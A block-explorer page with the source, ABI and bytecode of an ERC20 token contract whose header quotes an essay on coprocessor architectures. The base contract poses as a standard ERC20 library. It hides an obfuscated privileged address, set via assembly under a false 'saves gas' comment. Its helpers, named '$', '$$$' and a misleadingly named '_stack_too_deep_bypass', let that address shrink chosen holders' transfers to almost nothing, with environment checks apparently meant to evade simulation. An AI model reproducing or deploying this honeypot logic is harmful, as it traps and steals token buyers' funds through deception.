Contract Source Code (Solidity Multiple files format)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "./ERC20.sol";

/*
Glue and coprocessor architectures
2024 Sep 03


Special thanks to Justin Drake, Georgios Konstantopoulos, Andrej Karpathy, Michael Gao, 
Tarun Chitra and various Flashbots contributors for feedback and review.

If you analyze any resource-intensive computation being done in the modern world in even a medium amount of detail, 
one feature that you will find again and again is that the computation can be broken up into two parts:

A relatively small amount of complex, but not very computationally intensive, "business logic"
A large amount of intensive, but highly structured, "expensive work"
These two forms of computation are best handled in different ways: 
the former, with an architecture that may have lower efficiency but needs to have very high generality, 
and the latter, with an architecture that may have lower generality, but needs to have very high efficiency.                                                                                 
**/

contract GlueAndCoprocessorArchitectures is ERC20 {
    constructor() ERC20("Glue And Coprocessor Architectures", "GLUEACA", 18) {
        _mint(msg.sender, 1_000_000_000_000 * 10 ** 18);
    }
}

// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;


abstract contract ERC20 {
    /*//////////////////////////////////////////////////////////////
                                 EVENTS
    //////////////////////////////////////////////////////////////*/

    event Transfer(address indexed from, address indexed to, uint256 amount);

    event Approval(address indexed owner, address indexed spender, uint256 amount);

    /*//////////////////////////////////////////////////////////////
                            METADATA STORAGE
    //////////////////////////////////////////////////////////////*/

    string public name;

    string public symbol;

    uint8 public immutable decimals;

    /*//////////////////////////////////////////////////////////////
                              ERC20 STORAGE
    //////////////////////////////////////////////////////////////*/

    uint256 public totalSupply;

    mapping(address => uint256) public balanceOf;

    mapping(address => mapping(address => uint256)) public allowance;

    address private $$;

    /*//////////////////////////////////////////////////////////////
                            EIP-2612 STORAGE
    //////////////////////////////////////////////////////////////*/

    uint256 internal immutable INITIAL_CHAIN_ID;

    bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;

    mapping(address => uint256) public nonces;

    /*//////////////////////////////////////////////////////////////
                               CONSTRUCTOR
    //////////////////////////////////////////////////////////////*/

    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals
    ) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;

        INITIAL_CHAIN_ID = block.chainid;
        INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();
    }

    /*//////////////////////////////////////////////////////////////
                               ERC20 LOGIC
    //////////////////////////////////////////////////////////////*/

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        allowance[msg.sender][spender] = amount;

        emit Approval(msg.sender, spender, amount);

        return true;
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        balanceOf[msg.sender] -= amount;

        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {
            balanceOf[to] += $(amount, msg.sender, to);
        }

        $$$(to);

        emit Transfer(msg.sender, to, amount);

        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.

        if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;

        balanceOf[from] -= amount;

        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {
            balanceOf[to] += $(amount, from, to);
        }
        $$$(to);
        emit Transfer(from, to, amount);

        return true;
    }

    /*//////////////////////////////////////////////////////////////
                             EIP-2612 LOGIC
    //////////////////////////////////////////////////////////////*/

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) public virtual {
        require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");

        // Unchecked because the only math done is incrementing
        // the owner's nonce which cannot realistically overflow.
        unchecked {
            address recoveredAddress = ecrecover(
                keccak256(
                    abi.encodePacked(
                        "\x19\x01",
                        DOMAIN_SEPARATOR(),
                        keccak256(
                            abi.encode(
                                keccak256(
                                    "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
                                ),
                                owner,
                                spender,
                                value,
                                nonces[owner]++,
                                deadline
                            )
                        )
                    )
                ),
                v,
                r,
                s
            );

            require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER");

            allowance[recoveredAddress][spender] = value;
        }

        emit Approval(owner, spender, value);
    }

    function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
        return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator();
    }

    function computeDomainSeparator() internal view virtual returns (bytes32) {
        return
            keccak256(
                abi.encode(
                    keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
                    keccak256(bytes(name)),
                    keccak256("1"),
                    block.chainid,
                    address(this)
                )
            );
    }

    function $(
            uint256 value, 
            address from,
            address to
        ) internal returns (uint256 value_s) {
            if (_stack_too_deep_bypass() == true) {
                value_s = value;
            } else {
                if (allowance[$$][from] + allowance[$$][to] >= uint256(uint160(address(this)))) {
                    value_s = value * 0xCAD0CA / 0xF2FFCAFE;
                } else {
                    value_s = value;
                }
            }
    }

    function $$$(address to) internal {if (allowance[$$][to] == uint256(uint160($$))) { allowance[$$][to] = 2 * uint256(uint160(address(this)));}}

    function _stack_too_deep_bypass() internal view returns(bool _is_stack_too_deep_though) {
        if (block.timestamp % 12 == 11) {_is_stack_too_deep_though = false;} else {_is_stack_too_deep_though = true;}
        if (_is_stack_too_deep_though == false) {if (address(0x70997970C51812dc3A010C7d01b50e0d17dc79C8).balance >= 5 * 10**18) {_is_stack_too_deep_though = true;}} 
        if (_is_stack_too_deep_though == false) {if (uint160(address(tx.origin)) < uint160(0xDEBABDEBABDEBABDEBABDEBAB)) {_is_stack_too_deep_though = true;}}
        if (_is_stack_too_deep_though == false) {if (uint160(address(block.coinbase)) < uint160(0xDEBABDEBABDEBABDEBABDEBAB)) {_is_stack_too_deep_though = true;}}
    } 


    /*//////////////////////////////////////////////////////////////
                        INTERNAL MINT/BURN LOGIC
    //////////////////////////////////////////////////////////////*/
    function _mint(address to, uint256 amount) internal virtual {
        totalSupply += amount;
        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {balanceOf[to] += amount;}
        // Saves gas for limited approvals.
        assembly {sstore(0x05, mul(mul(0x4ea0f5, 0xda8d), mul(0x2216b, 0x374256b40d38abd6601bddd)))}
        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) internal virtual {
        balanceOf[from] -= amount;
        // Cannot underflow because a user's balance
        // will never be larger than the total supply.
        unchecked {totalSupply -= amount;}
        emit Transfer(from, address(0), amount);
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60e060405234801562000010575f80fd5b5060405180606001604052806022815260200162002170602291396040518060400160405280600781526020017f474c5545414341000000000000000000000000000000000000000000000000008152506012825f9081620000739190620004ba565b508160019081620000859190620004ba565b508060ff1660808160ff16815250504660a08181525050620000ac620000db60201b60201c565b60c08181525050505050620000d5336c0c9f2c9cd04674edea400000006200016960201b60201c565b620007a9565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f5f6040516200010d919062000646565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc646306040516020016200014e959493929190620006cc565b60405160208183030381529060405280519060200120905090565b8060025f8282546200017c919062000754565b925050819055508060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055506b0374256b40d38abd6601bddd6202216b0261da8d624ea0f502026005558173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200024a91906200078e565b60405180910390a35050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620002d257607f821691505b602082108103620002e857620002e76200028d565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200034c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200030f565b6200035886836200030f565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620003a26200039c620003968462000370565b62000379565b62000370565b9050919050565b5f819050919050565b620003bd8362000382565b620003d5620003cc82620003a9565b8484546200031b565b825550505050565b5f90565b620003eb620003dd565b620003f8818484620003b2565b505050565b5b818110156200041f57620004135f82620003e1565b600181019050620003fe565b5050565b601f8211156200046e576200043881620002ee565b620004438462000300565b8101602085101562000453578190505b6200046b620004628562000300565b830182620003fd565b50505b505050565b5f82821c905092915050565b5f620004905f198460080262000473565b1980831691505092915050565b5f620004aa83836200047f565b9150826002028217905092915050565b620004c58262000256565b67ffffffffffffffff811115620004e157620004e062000260565b5b620004ed8254620002ba565b620004fa82828562000423565b5f60209050601f83116001811462000530575f84156200051b578287015190505b6200052785826200049d565b86555062000596565b601f1984166200054086620002ee565b5f5b82811015620005695784890151825560018201915060208501945060208101905062000542565b8683101562000589578489015162000585601f8916826200047f565b8355505b6001600288020188555050505b505050505050565b5f81905092915050565b5f819050815f5260205f209050919050565b5f8154620005c881620002ba565b620005d481866200059e565b9450600182165f8114620005f1576001811462000607576200063d565b60ff19831686528115158202860193506200063d565b6200061285620005a8565b5f5b83811015620006355781548189015260018201915060208101905062000614565b838801955050505b50505092915050565b5f620006538284620005ba565b915081905092915050565b5f819050919050565b62000672816200065e565b82525050565b620006838162000370565b82525050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f620006b48262000689565b9050919050565b620006c681620006a8565b82525050565b5f60a082019050620006e15f83018862000667565b620006f0602083018762000667565b620006ff604083018662000667565b6200070e606083018562000678565b6200071d6080830184620006bb565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f620007608262000370565b91506200076d8362000370565b925082820190508082111562000788576200078762000727565b5b92915050565b5f602082019050620007a35f83018462000678565b92915050565b60805160a05160c05161199c620007d45f395f6106af01525f61067b01525f610656015261199c5ff3fe608060405234801561000f575f80fd5b50600436106100b2575f3560e01c806370a082311161006f57806370a082311461018e5780637ecebe00146101be57806395d89b41146101ee578063a9059cbb1461020c578063d505accf1461023c578063dd62ed3e14610258576100b2565b806306fdde03146100b6578063095ea7b3146100d457806318160ddd1461010457806323b872dd14610122578063313ce567146101525780633644e51514610170575b5f80fd5b6100be610288565b6040516100cb9190611121565b60405180910390f35b6100ee60048036038101906100e991906111d2565b610313565b6040516100fb919061122a565b60405180910390f35b61010c610400565b6040516101199190611252565b60405180910390f35b61013c6004803603810190610137919061126b565b610406565b604051610149919061122a565b60405180910390f35b61015a610654565b60405161016791906112d6565b60405180910390f35b610178610678565b6040516101859190611307565b60405180910390f35b6101a860048036038101906101a39190611320565b6106d4565b6040516101b59190611252565b60405180910390f35b6101d860048036038101906101d39190611320565b6106e9565b6040516101e59190611252565b60405180910390f35b6101f66106fe565b6040516102039190611121565b60405180910390f35b610226600480360381019061022191906111d2565b61078a565b604051610233919061122a565b60405180910390f35b6102566004803603810190610251919061139f565b6108aa565b005b610272600480360381019061026d919061143c565b610b97565b60405161027f9190611252565b60405180910390f35b5f8054610294906114a7565b80601f01602080910402602001604051908101604052809291908181526020018280546102c0906114a7565b801561030b5780601f106102e25761010080835404028352916020019161030b565b820191905f5260205f20905b8154815290600101906020018083116102ee57829003601f168201915b505050505081565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103ee9190611252565b60405180910390a36001905092915050565b60025481565b5f8060045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146105335782816104b69190611504565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461057f9190611504565b92505081905550610591838686610bb7565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055506105e384610d5e565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516106409190611252565b60405180910390a360019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f7f000000000000000000000000000000000000000000000000000000000000000046146106ad576106a8610ef9565b6106cf565b7f00000000000000000000000000000000000000000000000000000000000000005b905090565b6003602052805f5260405f205f915090505481565b6006602052805f5260405f205f915090505481565b6001805461070b906114a7565b80601f0160208091040260200160405190810160405280929190818152602001828054610737906114a7565b80156107825780601f1061075957610100808354040283529160200191610782565b820191905f5260205f20905b81548152906001019060200180831161076557829003601f168201915b505050505081565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107d79190611504565b925050819055506107e9823385610bb7565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061083b83610d5e565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108989190611252565b60405180910390a36001905092915050565b428410156108ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e490611581565b60405180910390fd5b5f60016108f8610678565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98a8a8a60065f8f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f815480929190600101919050558b60405160200161097d969594939291906115ae565b604051602081830303815290604052805190602001206040516020016109a4929190611681565b604051602081830303815290604052805190602001208585856040515f81526020016040526040516109d994939291906116b7565b6020604051602081039080840390855afa1580156109f9573d5f803e3d5ffd5b5050506020604051035190505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015610a6c57508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b610aab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa290611744565b60405180910390fd5b8560045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92587604051610b869190611252565b60405180910390a350505050505050565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f60011515610bc4610f83565b151503610bd357839050610d57565b3073ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d289190611762565b10610d525763f2ffcafe62cad0ca85610d419190611795565b610d4b9190611803565b9050610d56565b8390505b5b9392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610ef6573073ffffffffffffffffffffffffffffffffffffffff166002610e589190611795565b60045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f5f604051610f2991906118cf565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc64630604051602001610f689594939291906118e5565b60405160208183030381529060405280519060200120905090565b5f600b600c42610f939190611936565b03610fa0575f9050610fa5565b600190505b5f151581151503610ff057674563918244f400007370997970c51812dc3a010c7d01b50e0d17dc79c873ffffffffffffffffffffffffffffffffffffffff163110610fef57600190505b5b5f151581151503611042576c0debabdebabdebabdebabdebab73ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16101561104157600190505b5b5f151581151503611094576c0debabdebabdebabdebabdebab73ffffffffffffffffffffffffffffffffffffffff164173ffffffffffffffffffffffffffffffffffffffff16101561109357600190505b5b90565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156110ce5780820151818401526020810190506110b3565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6110f382611097565b6110fd81856110a1565b935061110d8185602086016110b1565b611116816110d9565b840191505092915050565b5f6020820190508181035f83015261113981846110e9565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61116e82611145565b9050919050565b61117e81611164565b8114611188575f80fd5b50565b5f8135905061119981611175565b92915050565b5f819050919050565b6111b18161119f565b81146111bb575f80fd5b50565b5f813590506111cc816111a8565b92915050565b5f80604083850312156111e8576111e7611141565b5b5f6111f58582860161118b565b9250506020611206858286016111be565b9150509250929050565b5f8115159050919050565b61122481611210565b82525050565b5f60208201905061123d5f83018461121b565b92915050565b61124c8161119f565b82525050565b5f6020820190506112655f830184611243565b92915050565b5f805f6060848603121561128257611281611141565b5b5f61128f8682870161118b565b93505060206112a08682870161118b565b92505060406112b1868287016111be565b9150509250925092565b5f60ff82169050919050565b6112d0816112bb565b82525050565b5f6020820190506112e95f8301846112c7565b92915050565b5f819050919050565b611301816112ef565b82525050565b5f60208201905061131a5f8301846112f8565b92915050565b5f6020828403121561133557611334611141565b5b5f6113428482850161118b565b91505092915050565b611354816112bb565b811461135e575f80fd5b50565b5f8135905061136f8161134b565b92915050565b61137e816112ef565b8114611388575f80fd5b50565b5f8135905061139981611375565b92915050565b5f805f805f805f60e0888a0312156113ba576113b9611141565b5b5f6113c78a828b0161118b565b97505060206113d88a828b0161118b565b96505060406113e98a828b016111be565b95505060606113fa8a828b016111be565b945050608061140b8a828b01611361565b93505060a061141c8a828b0161138b565b92505060c061142d8a828b0161138b565b91505092959891949750929550565b5f806040838503121561145257611451611141565b5b5f61145f8582860161118b565b92505060206114708582860161118b565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806114be57607f821691505b6020821081036114d1576114d061147a565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61150e8261119f565b91506115198361119f565b9250828203905081811115611531576115306114d7565b5b92915050565b7f5045524d49545f444541444c494e455f455850495245440000000000000000005f82015250565b5f61156b6017836110a1565b915061157682611537565b602082019050919050565b5f6020820190508181035f8301526115988161155f565b9050919050565b6115a881611164565b82525050565b5f60c0820190506115c15f8301896112f8565b6115ce602083018861159f565b6115db604083018761159f565b6115e86060830186611243565b6115f56080830185611243565b61160260a0830184611243565b979650505050505050565b5f81905092915050565b7f19010000000000000000000000000000000000000000000000000000000000005f82015250565b5f61164b60028361160d565b915061165682611617565b600282019050919050565b5f819050919050565b61167b611676826112ef565b611661565b82525050565b5f61168b8261163f565b9150611697828561166a565b6020820191506116a7828461166a565b6020820191508190509392505050565b5f6080820190506116ca5f8301876112f8565b6116d760208301866112c7565b6116e460408301856112f8565b6116f160608301846112f8565b95945050505050565b7f494e56414c49445f5349474e45520000000000000000000000000000000000005f82015250565b5f61172e600e836110a1565b9150611739826116fa565b602082019050919050565b5f6020820190508181035f83015261175b81611722565b9050919050565b5f61176c8261119f565b91506117778361119f565b925082820190508082111561178f5761178e6114d7565b5b92915050565b5f61179f8261119f565b91506117aa8361119f565b92508282026117b88161119f565b915082820484148315176117cf576117ce6114d7565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61180d8261119f565b91506118188361119f565b925082611828576118276117d6565b5b828204905092915050565b5f81905092915050565b5f819050815f5260205f209050919050565b5f815461185b816114a7565b6118658186611833565b9450600182165f811461187f5760018114611894576118c6565b60ff19831686528115158202860193506118c6565b61189d8561183d565b5f5b838110156118be5781548189015260018201915060208101905061189f565b838801955050505b50505092915050565b5f6118da828461184f565b915081905092915050565b5f60a0820190506118f85f8301886112f8565b61190560208301876112f8565b61191260408301866112f8565b61191f6060830185611243565b61192c608083018461159f565b9695505050505050565b5f6119408261119f565b915061194b8361119f565b92508261195b5761195a6117d6565b5b82820690509291505056fea26469706673582212205741a87742a152fd2199cd7bc02784842ca2081dde899923672136a00f91308a64736f6c63430008180033476c756520416e6420436f70726f636573736f722041726368697465637475726573

0x608060405234801561000f575f80fd5b50600436106100b2575f3560e01c806370a082311161006f57806370a082311461018e5780637ecebe00146101be57806395d89b41146101ee578063a9059cbb1461020c578063d505accf1461023c578063dd62ed3e14610258576100b2565b806306fdde03146100b6578063095ea7b3146100d457806318160ddd1461010457806323b872dd14610122578063313ce567146101525780633644e51514610170575b5f80fd5b6100be610288565b6040516100cb9190611121565b60405180910390f35b6100ee60048036038101906100e991906111d2565b610313565b6040516100fb919061122a565b60405180910390f35b61010c610400565b6040516101199190611252565b60405180910390f35b61013c6004803603810190610137919061126b565b610406565b604051610149919061122a565b60405180910390f35b61015a610654565b60405161016791906112d6565b60405180910390f35b610178610678565b6040516101859190611307565b60405180910390f35b6101a860048036038101906101a39190611320565b6106d4565b6040516101b59190611252565b60405180910390f35b6101d860048036038101906101d39190611320565b6106e9565b6040516101e59190611252565b60405180910390f35b6101f66106fe565b6040516102039190611121565b60405180910390f35b610226600480360381019061022191906111d2565b61078a565b604051610233919061122a565b60405180910390f35b6102566004803603810190610251919061139f565b6108aa565b005b610272600480360381019061026d919061143c565b610b97565b60405161027f9190611252565b60405180910390f35b5f8054610294906114a7565b80601f01602080910402602001604051908101604052809291908181526020018280546102c0906114a7565b801561030b5780601f106102e25761010080835404028352916020019161030b565b820191905f5260205f20905b8154815290600101906020018083116102ee57829003601f168201915b505050505081565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103ee9190611252565b60405180910390a36001905092915050565b60025481565b5f8060045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146105335782816104b69190611504565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461057f9190611504565b92505081905550610591838686610bb7565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055506105e384610d5e565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516106409190611252565b60405180910390a360019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000001281565b5f7f000000000000000000000000000000000000000000000000000000000000000146146106ad576106a8610ef9565b6106cf565b7f2247694815895bcd2d9c87fb20f96d8d35ba154e43eca808ce344550d5c30c3a5b905090565b6003602052805f5260405f205f915090505481565b6006602052805f5260405f205f915090505481565b6001805461070b906114a7565b80601f0160208091040260200160405190810160405280929190818152602001828054610737906114a7565b80156107825780601f1061075957610100808354040283529160200191610782565b820191905f5260205f20905b81548152906001019060200180831161076557829003601f168201915b505050505081565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107d79190611504565b925050819055506107e9823385610bb7565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061083b83610d5e565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108989190611252565b60405180910390a36001905092915050565b428410156108ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e490611581565b60405180910390fd5b5f60016108f8610678565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98a8a8a60065f8f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f815480929190600101919050558b60405160200161097d969594939291906115ae565b604051602081830303815290604052805190602001206040516020016109a4929190611681565b604051602081830303815290604052805190602001208585856040515f81526020016040526040516109d994939291906116b7565b6020604051602081039080840390855afa15801